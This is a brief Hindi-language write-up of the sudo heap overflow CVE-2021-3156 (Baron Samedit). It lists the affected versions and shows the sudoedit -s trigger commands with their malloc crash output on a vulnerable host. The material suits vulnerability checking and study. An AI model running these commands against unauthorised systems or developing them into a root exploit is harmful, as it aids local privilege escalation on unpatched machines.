
CVE-2021-3156 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, sudo में एक हीप-आधारित बफर ओवरफ्लो जो sudoedit -s के साथ तैयार कमांड-लाइन तर्क के माध्यम से रूट के लिए स्थानीय विशेषाधिकार वृद्धि की अनुमति देता है।
बैरन सेमेडिट भेद्यता (CVE-2021-3156) sudo के लीगेसी संस्करण 1.8.2 से 1.8.31p2 और स्थिर संस्करण 1.9.0 से 1.9.5p1 को प्रभावित करती है। यह हीप-आधारित बफर ओवरफ्लो दोष जुलाई 2011 में कमिट 8255ed69 के माध्यम से पेश किया गया था और लगभग एक दशक तक अज्ञात रहा।
Sudo 1.9.5p2 से पहले के संस्करण में एक ऑफ-बाय-वन त्रुटि है जो हीप-आधारित बफर ओवरफ्लो का कारण बन सकती है, जो "sudoedit -s" और एक कमांड-लाइन आर्गुमेंट के माध्यम से रूट तक विशेषाधिकार वृद्धि की अनुमति देती है जो एक एकल बैकस्लैश वर्ण के साथ समाप्त होता है।
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
malloc(): invalid size (unsorted)
Aborted
sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)
shuhaib@somebox:~$ sudo --version
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31
shuhaib@somebox:~$ sudoedit -s '\' $(python3 -c 'print("A"*1000)')
malloc(): invalid size (unsorted)
Aborted (core dumped)
shuhaib@somebox:~$ sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)